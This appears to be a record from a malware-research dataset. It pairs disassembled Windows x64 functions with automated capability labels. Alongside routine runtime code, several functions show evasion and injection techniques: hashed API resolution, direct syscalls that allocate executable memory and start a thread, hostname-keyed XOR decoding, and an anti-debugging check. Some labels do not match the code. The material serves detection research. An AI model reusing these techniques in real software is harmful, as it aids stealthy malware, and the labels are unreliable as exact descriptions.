joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800dc5e0
Capabilities:
Accept command line arguments

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov rax, rdx
mov rsi, rcx
lea rdx, [rsp + 0x24]
mov rcx, rax
call qword [sym.imp.shell32.dll_CommandLineToArgvW]
test rax, rax
je 0x1800dc73c
mov rdi, rax
mov qword [rsp + 0x40], rsi
movsxd rbp, dword [rsp + 0x24]
mov qword [rsp + 0x28], 8
xorps xmm6, xmm6
movups xmmword [rsp + 0x30], xmm6
test rbp, rbp
je 0x1800dc711
shl rbp, 3
mov esi, 8
xor r15d, r15d
lea rbx, [rsp + 0x48]
lea r14, [rsp + 0x78]
xor r12d, r12d
jmp 0x1800dc68c
lea rax, [r12 + r12*2]
mov rcx, qword [rsp + 0x70]
mov qword [rsi + rax*8 + 0x10], rcx
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rsi + rax*8], xmm0
inc r12
mov qword [rsp + 0x38], r12
add r15, 8
cmp rbp, r15
je 0x1800dc711
mov r13, qword [rdi + r15]
mov rcx, r13
call fcn.1800fbfb8
lea rax, [rax*2]
add rax, r13
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x80], rax
mov word [rsp + 0x88], 0
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x50]
movups xmmword [rax], xmm6
mov rcx, rbx
mov rdx, r14
call fcn.1800daae0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x60], xmm0
cmp r12, qword [rsp + 0x30]
jne 0x1800dc660
lea rcx, [rsp + 0x28]
mov rdx, r12
call fcn.1800ddc20
mov rsi, qword [rsp + 0x28]
mov r12, qword [rsp + 0x38]
jmp 0x1800dc660
mov rcx, rdi
call qword [sym.imp.kernel32.dll_LocalFree]
test rax, rax
jne 0x1800dc724
call sub.kernel32.dll_GetLastError
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
jmp 0x1800dc74a
mov qword [rsi], 8
xorps xmm0, xmm0
movups xmmword [rsi + 8], xmm0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x1800dd150
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx + 0x18]
test rdi, rdi
je 0x1800dd1e9
mov rbx, qword [rsi]
lea r14, [rbx + 0x10]
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
not eax
mov r15, qword [sym.imp.pdh.dll_PdhRemoveCounter]
jmp 0x1800dd1b1
lea ebp, [rax - 1]
and ebp, eax
tzcnt eax, eax
shl rax, 5
mov rcx, rbx
sub rcx, rax
mov rcx, qword [rcx - 8]
call r15
mov eax, ebp
dec rdi
je 0x1800dd1e9
test ax, ax
jne 0x1800dd190
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
add rbx, 0xfffffffffffffe00
add r14, 0x10
cmp ax, 0xffff
je 0x1800dd1c0
mov ecx, 0xfffffffe
sub ecx, eax
not eax
mov ebp, eax
and ebp, ecx
jmp 0x1800dd195
mov rcx, qword [rsi + 0x38]
lea rax, [rcx + 1]
cmp rax, 2
jb 0x1800dd201
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
je 0x1800dd21c
mov rcx, qword [rsi + 0x30]
lea rax, [rcx + 1]
cmp rax, 2
jae 0x1800dd22f
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call sub.kernel32.dll_GetLastError
mov rcx, qword [rsi + 0x30]
lea rax, [rcx + 1]
cmp rax, 2
jb 0x1800dd20f
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.pdh.dll_PdhCloseQuery]
Function at 0x1800eb830
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov edi, r8d
mov rbx, rdx
mov rsi, rcx
mov eax, dword [0x18016cbc4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xc0], 0
je 0x1800eb866
lea rax, [rax + 0xc8]
jmp 0x1800eb874
call fcn.1800e0e20
test rax, rax
je 0x1800eb99a
mov rcx, qword [rax + 0x38]
movabs rdx, 0x7ffffffffffffffe
cmp rcx, rdx
ja 0x1800eb99a
lea rdx, [rcx + 1]
mov qword [rax + 0x38], rdx
mov rdx, qword [rax + 0x40]
cmp rdx, 2
je 0x1800eb99e
mov rcx, qword [rax + 0x48]
mov r8d, 1
lock xadd qword [rcx], r8
test rdx, rdx
test r8, r8
js 0x1800eb99a
dec qword [rax + 0x38]
lea rax, [rcx + 0x148]
lea r8, [rcx + 0xd0]
test rdx, rdx
cmove rax, r8
cmp dword [rax + 0x138], 0x3b9aca00
je 0x1800eb99a
mov eax, 1
mov r8d, 1
lock xadd qword [rcx], r8
test rdx, rdx
je 0x1800eb904
test r8, r8
jns 0x1800eb90f
jmp 0x1800eb99a
test r8, r8
js 0x1800eb99a
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x30], xmm0
mov r8d, dword [rsp + 0x4c]
mov dword [rsi + 0x3c], r8d
movups xmm0, xmmword [rsp + 0x3c]
movups xmmword [rsi + 0x2c], xmm0
movups xmm0, xmmword [rsp + 0x2c]
movups xmmword [rsi + 0x1c], xmm0
mov qword [rsi], rax
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x18], edi
mov qword [rsi + 0x40], 0xffffffffffffffff
mov qword [rsi + 0x48], 0
mov qword [rsi + 0x58], 0
mov byte [rsi + 0x60], 0
mov byte [rsi + 0x68], 0
lock dec qword [rcx]
sete al
test rdx, rdx
je 0x1800eb981
test al, al
je 0x1800eb991
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp fcn.1800e1110
test al, al
je 0x1800eb991
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp fcn.1800e1070
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
ud2
mov qword [rax + 0x38], rcx
ud2
Function at 0x1800ebf20
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov edi, r8d
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1800ec12d
mov r14, qword [rsp + 0x20]
mov rcx, qword [0x18016cb98]
test rcx, rcx
jne 0x1800ebf90
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1800ec12d
mov rcx, qword [rsp + 0x20]
mov qword [0x18016cb98], rcx
test rcx, rcx
je 0x1800ec132
mov rax, r14
or rax, rcx
shr rax, 0x20
je 0x1800ebfa6
mov rax, r14
xor edx, edx
div rcx
jmp 0x1800ebfad
mov eax, r14d
xor edx, edx
div ecx
imul r9, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x1800ebfd1
xor edx, edx
div rcx
mov r8, rax
jmp 0x1800ebfd8
xor edx, edx
div ecx
mov r8d, eax
add r8, r9
mov rcx, r8
shr rcx, 9
movabs r14, 0x44b82fa09b5a53
mov rax, rcx
mul r14
mov r9, rdx
shr r9, 0xb
add r9, rbx
jb 0x1800ec02a
mov rax, rcx
mul r14
shr rdx, 0xb
imul eax, edx, 0x3b9aca00
sub r8d, eax
add r8d, edi
cmp r8d, 0x3b9aca00
jb 0x1800ec0f4
inc r9
jne 0x1800ec124
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1800ec12d
mov rdi, qword [rsp + 0x20]
mov rcx, qword [0x18016cb98]
test rcx, rcx
jne 0x1800ec088
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1800ec12d
mov rcx, qword [rsp + 0x20]
mov qword [0x18016cb98], rcx
test rcx, rcx
je 0x1800ec132
mov rax, rdi
or rax, rcx
shr rax, 0x20
je 0x1800ec09e
mov rax, rdi
xor edx, edx
div rcx
jmp 0x1800ec0a4
mov eax, edi
xor edx, edx
div ecx
imul r9, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x1800ec0c8
xor edx, edx
div rcx
mov r8, rax
jmp 0x1800ec0cf
xor edx, edx
div ecx
mov r8d, eax
add r8, r9
mov rax, r8
shr rax, 9
mul r14
mov r9, rdx
shr r9, 0xb
imul eax, r9d, 0x3b9aca00
sub r8d, eax
add r9, 0x38640900
mov eax, r8d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub r8d, eax
mov rcx, rsi
mov rdx, r9
call fcn.1800eb830
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
add r8d, 0xc4653600
jmp 0x1800ec0f4
call sub.kernel32.dll_GetLastError
ud2
Function at 0x1800ec140
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1800ec23c
mov rdi, qword [rsp + 0x20]
mov rcx, qword [0x18016cb98]
test rcx, rcx
jne 0x1800ec1a7
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1800ec23c
mov rcx, qword [rsp + 0x20]
mov qword [0x18016cb98], rcx
test rcx, rcx
je 0x1800ec241
mov rax, rdi
or rax, rcx
shr rax, 0x20
je 0x1800ec1bd
mov rax, rdi
xor edx, edx
div rcx
jmp 0x1800ec1c3
mov eax, edi
xor edx, edx
div ecx
imul r9, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x1800ec1e7
xor edx, edx
div rcx
mov r8, rax
jmp 0x1800ec1ee
xor edx, edx
div ecx
mov r8d, eax
add r8, r9
mov rax, r8
shr rax, 9
movabs rcx, 0x44b82fa09b5a53
mul rcx
shr rdx, 0xb
imul rax, rdx, 0x3b9aca00
sub r8, rax
add rdx, 0x38640900
imul rax, r8, 0x44b82fa1
shr rax, 0x3c
imul eax, eax, 0x3b9aca00
sub r8d, eax
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1800eb830
call sub.kernel32.dll_GetLastError
ud2
Function at 0x1800ff9a8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800ff9d8
xor eax, eax
jmp 0x1800ffa9b
mov rbp, rbx
cmp word [rax], si
je 0x1800ff9fd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800ff9e4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800ff9e0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800ff8f8
movsxd r14, eax
test eax, eax
jne 0x1800ffa3b
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
jmp 0x1800ff9d1
mov rcx, r14
call fcn.180100c30
mov rdi, rax
test rax, rax
jne 0x1800ffa54
xor ecx, ecx
call fcn.1800fdf60
jmp 0x1800ffa30
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800ff8f8
test eax, eax
jne 0x1800ffa85
mov rcx, rdi
call fcn.1800fdf60
jmp 0x1800ffa8f
xor ecx, ecx
call fcn.1800fdf60
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140001470
Capabilities:
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
mov rax, qword gs:[0x30]
mov r10d, dword [0x140050004]
test r10d, r10d
je 0x14000155b
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x18]
lea r8, [rax + 2]
lea r9, [0x140050004]
jmp 0x1400014cd
xor r10d, r10d
sub rdx, 1
jb 0x14000155b
test r10d, r10d
je 0x1400014c0
mov r11d, dword [rax + rcx + 0x20]
add r11, rax
mov esi, dword [r11 + rdx*4]
add rsi, r8
mov edi, r10d
mov r11, r9
nop word [rax + rax]
mov r14d, 0x811c9dc5
mov rbx, rsi
nop dword [rax]
mov ebp, r14d
movsx r15d, byte [rbx]
inc rbx
xor r14d, r15d
imul r14d, r14d, 0x1000193
test r15d, r15d
jne 0x140001500
cmp ebp, edi
je 0x140001530
mov edi, dword [r11 + 4]
add r11, 4
test edi, edi
jne 0x1400014f0
jmp 0x1400014c3
mov r10d, dword [rax + rcx + 0x1c]
mov esi, dword [rax + rcx + 0x24]
add r10, rax
add rsi, rax
movzx esi, word [rsi + rdx*2]
mov r10d, dword [r10 + rsi*4]
mov r10d, dword [rax + r10 + 4]
mov dword [r11], r10d
mov r10d, dword [0x140050004]
jmp 0x1400014c3
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140001580
Capabilities:
Get hostname

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x158
mov esi, r9d
mov rdi, r8
mov r14, rcx
mov eax, dword [rsp + 0x1a0]
mov qword [rsp + 0x30], rdx
imul rax, rax, 0xffffffffff676980
mov qword [rsp + 0x48], rax
mov eax, dword [0x140050004]
lea rdx, [rsp + 0x48]
mov r10b, 1
sub rsp, 0x28
syscall
add rsp, 0x28
test eax, eax
js 0x14000165e
mov qword [rsp + 0x28], 0
mov eax, dword [0x140050008]
xor ebx, ebx
lea rdx, [rsp + 0x28]
lea r9, [rsp + 0x30]
mov r10, 0xffffffffffffffff
xor r8d, r8d
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
mov qword [rsp + 0x30], 0x40
syscall
add rsp, 0x40
test eax, eax
js 0x140001660
mov rdx, qword [rsp + 0x28]
test rdx, rdx
je 0x140001660
mov qword [rsp + 0x40], 0
mov eax, dword [0x14005000c]
mov r9, qword [rsp + 0x30]
lea rcx, [rsp + 0x40]
mov r10, 0xffffffffffffffff
mov r8, r14
sub rsp, 0x30
mov qword [rsp + 0x28], rcx
syscall
add rsp, 0x30
test eax, eax
js 0x14000165e
mov rax, qword [rsp + 0x40]
cmp rax, qword [rsp + 0x30]
jae 0x140001670
xor ebx, ebx
mov rax, rbx
add rsp, 0x158
pop rbx
pop rdi
pop rsi
pop r14
ret
mov dword [rsp + 0x3c], 0x100
xorps xmm0, xmm0
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea r8, [rsp + 0x3c]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
cmp qword [rsp + 0x30], 0
je 0x140001756
xor ecx, ecx
jmp 0x14000173f
mov rax, rcx
xor edx, edx
div r8
movzx eax, byte [rsp + rdx + 0x50]
mov rdx, qword [rsp + 0x28]
xor byte [rdx + rcx], al
inc rcx
cmp rcx, qword [rsp + 0x30]
jae 0x140001756
mov r8d, dword [rsp + 0x3c]
mov rax, rcx
shr rax, 0x20
jne 0x140001720
mov eax, ecx
xor edx, edx
div r8d
jmp 0x140001728
mov eax, dword [0x140050010]
mov rcx, qword [rsp + 0x28]
lea r11, [0x140001570]
xor ebx, ebx
mov r10, rdi
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
sub rsp, 0x60
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 4
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
syscall
add rsp, 0x60
test eax, eax
js 0x140001660
mov r10, qword [rdi]
test r10, r10
je 0x14000165e
test esi, esi
je 0x1400017ea
mov eax, dword [0x140050014]
mov dl, 1
xor r8d, r8d
sub rsp, 0x28
syscall
add rsp, 0x28
mov rbx, qword [rsp + 0x28]
jmp 0x140001660
Function at 0x140001800
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, section..rdata
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x140001893
call fcn.14004c8d0
cmp byte [rax + 2], 0
jne 0x140001893
test byte [rax + 0xbc], 0x70
jne 0x140001893
call fcn.140001470
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x140051508]
mov edx, dword [rax]
mov rax, qword [0x140051510]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x140051500]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001580
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.14004cf40
nop
add rsp, 0x20
pop rbp
jmp 0x140001800

Function at 0x1400018a0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, section..rdata
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x140001893
call fcn.14004c8d0
cmp byte [rax + 2], 0
jne 0x140001893
test byte [rax + 0xbc], 0x70
jne 0x140001893
call fcn.140001470
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x140051508]
mov edx, dword [rax]
mov rax, qword [0x140051510]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x140051500]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001580
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.14004cf40
nop
add rsp, 0x20
pop rbp
jmp 0x140001800

Function at 0x14004d150
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14004df70
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14004df70
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14004d1c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400540a4]
mov rbx, rcx
test esi, esi
jle 0x14004d2f0
mov rax, qword [0x1400540a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14004d20b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14004d295
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14004d1f0
mov rcx, rbx
call fcn.14004dc10
mov rdi, rax
test rax, rax
je 0x14004d312
mov rax, qword [0x1400540a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14004dd50
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400540a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14004d2f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14004d28e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14004d2a0
add dword [0x1400540a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400540a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14004d28e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14004d150
nop dword [rax]
xor esi, esi
jmp 0x14004d218
mov rax, qword [0x1400540a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14004d150
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14004d150
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14004d880
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140054100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400540e0]
test rbx, rbx
je 0x14004d8dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14004d8d3
test rsi, rsi
je 0x14004d8d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14004d8b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14004dc10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400513b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14004dc30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14004dc38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14004dc30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14004dc8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14004dc84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14004dc30
add rax, 0x28
cmp rax, r9
jne 0x14004dc70
xor eax, eax
ret

Function at 0x14004dc90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400513b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14004dcaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14004dcb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14004dcaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14004dd50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400513b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14004dd6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14004dd78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14000208b
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x1400020aa
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp 0x14000c878
jmp qword [sym.imp.msvcrt.dll_fflush]

Function at 0x140005fbb
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
sub rsp, 0x388
xor eax, eax
mov r11d, 0xa
lea rsi, [rsp + 6]
mov r9, rcx
mov ecx, 0x37a
mov r10, rdx
mov rdi, rsi
rep stosb byte [rdi], al
mov rax, rcx
cqo
idiv r11
mov al, byte [r10 + rdx]
xor al, byte [r9 + rcx]
mov byte [rsi + rcx], al
inc rcx
cmp rcx, 0x37a
jne 0x140005fe1
mov rdi, r8
rep movsb byte [rdi], byte [rsi]
add rsp, 0x388
pop rsi
pop rdi
ret

Function at 0x140006520
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000c2a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000c2a0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]